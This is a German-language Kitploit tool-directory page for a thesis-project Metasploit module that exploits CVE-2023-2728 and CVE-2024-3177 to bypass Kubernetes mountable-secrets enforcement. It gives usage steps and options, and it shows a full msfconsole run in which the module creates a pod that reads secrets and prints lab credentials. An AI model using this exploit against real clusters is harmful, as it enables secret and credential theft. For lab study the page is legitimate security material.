Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Metasploit-Module-TFM — Modul, geschrieben in Ruby, mit dem Ziel, die Schwachstellen CVE-2023-2728 und CVE-2024-3177 auszunutzen, die beide mit der Secret-Mount-Richtlinie in einem Kubernetes-Cluster zusammenhängen, unter Verwendung eines benutzerdefinierten Metasploit-Moduls. Teil eines Abschlussprojekts für einen Master in Cybersicherheit. | Kitploit
Tools/GitHubGitHub/cgv-dev/metasploit-module-tfm
Penetrationstest-FrameworksPrivilege EscalationContainer-SicherheitExploit-FrameworksSchwachstellenanalyseExploitationCloud-SicherheitSecret-ErkennungLernen & Bildung
Labs & Praxis
GitHubcgv-dev/metasploit-module-tfm

Metasploit-Module-TFM

Repository anzeigen
17vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Modul, geschrieben in Ruby, mit dem Ziel, die Schwachstellen CVE-2023-2728 und CVE-2024-3177 auszunutzen, die beide mit der Secret-Mount-Richtlinie in einem Kubernetes-Cluster zusammenhängen, unter Verwendung eines benutzerdefinierten Metasploit-Moduls. Teil eines Abschlussprojekts für einen Master in Cybersicherheit.

Teilen

Benutzerdefiniertes Metasploit-Modul für CVE-2023-2728 und CVE-2024-3177

Beschreibung

Dieses benutzerdefinierte Modul nutzt CVE-2023-2728 und CVE-2024-3177 in Kubernetes-Versionen aus, die für jede dieser Schwachstellen anfällig sind (z. B. ist v1.27.2 für beide anfällig). Beide betreffen die Umgehung der Durchsetzung der Richtlinie für mountbare Geheimnisse, die vom ServiceAccount-Admission-Plugin in Kubernetes auferlegt wird, mit unterschiedlichen Containertypen und Strategien.
Das Hauptziel ist es, die gewünschten Geheimnisse zu erlangen und sie in den Umgebungsvariablen auf eine für den Benutzer ansprechende Weise darzustellen.

Überprüfungsschritte

Erstellen oder Erlangen der Anmeldeinformationen

  1. Starte msfconsole
  2. Führe aus: use auxiliary/cloud/kubernetes/double_secrets_cve
  3. Setze die erforderlichen Optionen
  4. Führe aus: run.
  5. Du solltest die in der Option SECRET_NAME angegebenen Geheimnisse rot hervorgehoben sehen.

Optionen

CONTAINER_TYPE

Definiert den zu verwendenden Containertyp im Pod, der im Zielcluster erstellt wird, um die Sicherheitslücke auszunutzen. Es kann normal (entspricht regulären Containern), init oder ephemeral sein.

CVE

Ermöglicht die Auswahl der Schwachstelle, die ausgenutzt werden soll. Die verfügbaren Optionen sind 2024-3177 und 2023-2728. Wenn eine andere Schwachstelle angegeben wird, erkennt das Modul diese nicht und gibt einen Fehler aus, was ein normales Ergebnis ist.

IMAGE

Gibt das Container-Image an, das zum Erstellen des Pods verwendet werden soll, z. B. busybox, die Standardoption, da es sich aufgrund seiner Leichtigkeit und Vielseitigkeit um ein sehr nützliches Image handelt, das mehrere Linux-Dienstprogramme in einer einzigen und kleinen ausführbaren Datei bündelt und die gängigsten Unix-Dienstprogramme wie ls, cp, mv, cat oder sh zusammenfasst. Dies macht es sehr geeignet für Systeme mit begrenzten Ressourcen oder für schnelle Tests, wie es hier der Fall sein könnte, wo kein bestimmtes Image benötigt wird, sondern nur dass der Pod korrekt erstellt wird.

NAMESPACE

Gibt den Namespace in Kubernetes an, in dem der Pod erstellt wird. Dies muss derselbe Namespace sein, in dem sich das zu enthüllende Geheimnis befindet.

POD_NAME

Definiert den Namen, der dem zu erstellenden Pod gegeben werden soll.

PROXIES

Zeichenkette der zu verwendenden Proxys im Format type:host:port[,type:host:port][...]. Dies ist eine Standard-Metasploit-Option, die in diesem Modul nicht verwendet wird.

RHOSTS

Gibt die IP-Adresse oder den IP-Adressbereich des Ziels an, in diesem Fall des Kubernetes-Clusters, in dem die Sicherheitslücke ausgenutzt werden soll. Diese Option ist eine der Standardeinstellungen in Metasploit.

RPORT

Definiert den TCP-Port des Ziels, mit dem das Modul eine Verbindung herstellt. Dies ist eine Standard-Metasploit-Option.

SECRET_NAME

Gibt den Namen des Geheimnisses in Kubernetes an, das offengelegt werden soll. Dazu müssen die erforderlichen Berechtigungen vorhanden sein.

SESSION

Ermöglicht die Definition, ob eine vorhandene Sitzung wiederverwendet werden soll. In diesem Modul ist diese Option nicht relevant und optional. Es handelt sich um eine Standardoption.

SSL

Legt fest, ob für ausgehende Verbindungen eine SSL/TLS-Verbindung ausgehandelt werden soll. Dies ist eine Standard-Metasploit-Option und muss nicht zwingend aktiviert sein, es hängt davon ab, wie der betreffende Benutzer eine Verbindung zu Ihrem Zielcluster herstellt.

TARGET_URI

Gibt den Basispfad zur anvisierten Kubernetes-API an, z. B. /api/v1. Diese Option ist benutzerdefiniert und wird verwendet, um die Planung bestimmter Verbindungen im Modul zu erleichtern.

TOKEN

Definiert das Authentifizierungstoken, das für die Interaktion mit der Kubernetes-API verwendet wird. Es ist wichtig, dass dieses Token über die erforderlichen Berechtigungen verfügt, sonst schlägt das Modul aufgrund fehlender Berechtigungen zum Erstellen oder Auflisten bestimmter Ressourcen im Cluster fehl.

VHOST

Ermöglicht die Angabe eines HTTP-Virtual-Hosts. Dies ist eine Standard-Metasploit-Option, die im Modul nicht verwendet wird.

Szenarien

Hinweis: Im Markdown sind die Geheimnisse am Anfang und am Ende als ** SECRET ** markiert, was im Code nicht der Fall ist, da sie für eine bessere Sichtbarkeit für den Benutzer rot hervorgehoben wurden, was in der README-Datei aufgrund der Einschränkungen der Markdown-Sprache auf der GitHub-Plattform nicht möglich war.

Ausführung mit regulären Containern zur Ausnutzung von CVE-2024-3177 (Standardoption)

Explizites Setzen von RHOST und TOKEN, um die in der Option SECRET_NAME angegebenen Geheimnisse aufzulisten:

msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE normal
CONTAINER_TYPE => normal
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-1
POD_NAME => cve-pod-1
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2

[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-1","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-1
[*] Waiting for pod cve-pod-1 to be ready...
[*] Pod cve-pod-1 status: Pending
[+] Pod cve-pod-1 is running.
[*] Established Kubernetes client.
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-1
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[+] Successfully retrieved environment variables from pod cve-pod-1
[*] Auxiliary module execution completed
Tool herunterladen